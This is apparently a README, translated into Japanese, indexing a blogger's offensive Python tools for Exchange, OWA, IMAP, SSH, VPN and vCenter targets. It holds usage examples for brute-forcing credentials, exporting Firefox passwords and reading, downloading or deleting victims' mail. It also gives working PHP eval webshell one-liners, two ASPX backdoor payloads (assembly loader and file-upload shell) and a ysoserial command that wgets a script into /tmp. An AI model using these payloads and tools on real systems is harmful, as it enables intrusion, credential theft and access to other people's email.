
Python codes of my blog.
私のブログのPythonコード。
ブルートフォース攻撃を使用してPPTP VPNのパスワードを取得します。
ファイル(wordlistという名前)からパスワードを読み取り、pptpsetupを使用してサーバーに接続します。
時間間隔は10秒です。
ポートのスキャンに使用します。
タイムアウトは3秒です。
c++バージョン:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
URLからIPを取得するために使用します。
Sublist3rの結果を直接使用できます。
Sublist3rの結果から重複したIPを削除するために使用します。
urltoip.pyの結果を直接使用できます。
Sublime(F9)を使用してIPを並べ替えることができます。
ファイルから重複項目を削除するために使用します。
参考:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
fofaのAPIを呼び出し、結果からIPを出力するために使用します。
100件の結果を取得できます。
fofaのAPIを呼び出し、結果からIPを出力するために使用します。
VIPの場合、10000件の結果を取得できます。
参考:
https://seclists.org/fulldisclosure/2019/Sep/31
例:
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
参考:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
例:
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Firefoxのパスワードをエクスポートするために使用します
Exchangeのバージョンを取得するために使用します。
まず、URLのソースコードからBuildNumberを取得し、次にバージョンを取得します。
参考:
SMBv3 RCEの脆弱性をスキャンするために使用します。
タイムアウトは3秒です。
参考:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
DrayTek Vigor2960 1.3.1_Beta、Vigor3900 1.4.4_Beta、およびVigor300B 1.3.3_Beta、1.4.2.1_Beta、1.4.4_Betaデバイスは、cgi-bin/mainfunction.cgi URIへのシェルメタ文字を介して、(認証なしで)rootとしてリモートコード実行を許可します。
影響を受ける製品:
Zimbra SOAP APIを使用してZimbraメールサーバーに接続します。
使用方法:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
モード:
例:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Exchange Web Serviceの有効なアカウントを確認するために使用します(プレーンテキストとntlmhashに対応)
参考:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
使用方法:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
例:
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Autodiscover.xmlにアクセスしてユーザーの構成を取得するために使用します(プレーンテキストとntlmhashに対応)
使用方法:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
例:
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
checkAutodiscover.pyの追加モード
パラメータを追加します
Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)
使用方法:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
例:
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
SSHの有効な資格情報を確認するために使用します(パスワードと秘密鍵ファイルに対応)
使用方法:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
例:
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
SSHを介したリモートコマンド実行(パスワードと秘密鍵ファイルに対応)
使用方法:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
例:
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
eas(Exchange Server ActiveSync)の有効な資格情報を確認するために使用します
使用方法:
easCheck.py <host> <user> <password>
例:
easCheck.py 192.168.1.1 user1 password1
OWAに接続してExchangeの有効なアカウントを確認するために使用します。
使用方法:
checkOWA.py <url> <user> <password>
OWAに接続してメールを読むために使用します。
使用方法:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
IMAPを使用してメールサーバーに接続します。
使用方法:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
execCmd.aspx との通信にNTLM認証を実装するために使用します
通信データはBase64でエンコードされます
使用方法:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
C#バージョン:SharpExchangeBackdoor.cs
Exchangeのwebshellバックドアにペイロードを送信するために使用します。
対応:
使用方法:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
例:
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
安全でないオブジェクトのデシリアライゼーション - IMAP
使用方法:
<url> <user> <password> <payload path>
例:
https://192.168.1.1 [email protected] password1 payload.obj
注意:
payload.objは次のように生成できます:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Exchangeのデシリアライズによるコード実行をテストするために使用します。
Exchangeファイルの読み取り・書き込み権限から、デシリアライズによるコード実行までを実現します。
デシリアライズによるコード実行を実装するには、%ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config内のmachineKeyを変更する必要があります。
<path>:owaまたはecp
使用方法:
<url> <key> <path>
例:
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Exchange SOAP XMLメッセージを解析するために使用します。
Exchange管理センターにアクセスするために使用します
使用方法:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
vSphere Automation API(v7.0U1+)を使用してVMを管理します
WindowsおよびLinux VMに対応
vSphere Web Services APIを使用してVMを管理します
参考:https://github.com/vmware/pyvmomi/
インストール:pip install --upgrade pyvmomi
vCenter上のLDAPデータベースを管理するために使用します。
SolarWinds Orionプラットフォームを管理するために使用します
SolarWinds Orion APIを使用してOrionプラットフォームを管理します
MailEnableメールサーバーを管理するために使用します
HTTPまたはFTPプロトコルを介して結果を受信できます。
Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)
Exchange Web Serviceにアクセスするために使用します(プレーンテキストとntlmhashに対応)
requests_ntlm2を使用してExchange Web Serviceにアクセスします(プレーンテキストとntlmhashに対応)
requests_ntlm2を使用してExchange Web Serviceにアクセスします(プレーンテキストとntlmhashに対応)
セッションを使用して通信データを削減します
https://github.com/horizon3ai/vcenter_saml_login から改変
https://github.com/horizon3ai/vcenter_saml_login から改変
Exchangeのバージョンを取得し、既存の脆弱性と照合するために使用します
Exchangeのバージョンを取得し、https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 からバージョンを解析するために使用します
https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 をexchange.dataとして保存してください
Exchangeのバージョンを取得し、https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 からバージョンを解析するために使用します
Exchangeの内部IPを取得するために使用します
msf auxiliary/scanner/http/owa_iis_internal_ipに基づいていますが、より多くのExchangeサーバーをサポートします。
vRealize Operations Managerのバージョンを取得するために使用します
bashを使用してコマンドを実行します
Sophos UTMの.plxファイルを復号化するために使用します
参考:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Sophos UTMの構成を解析するために使用します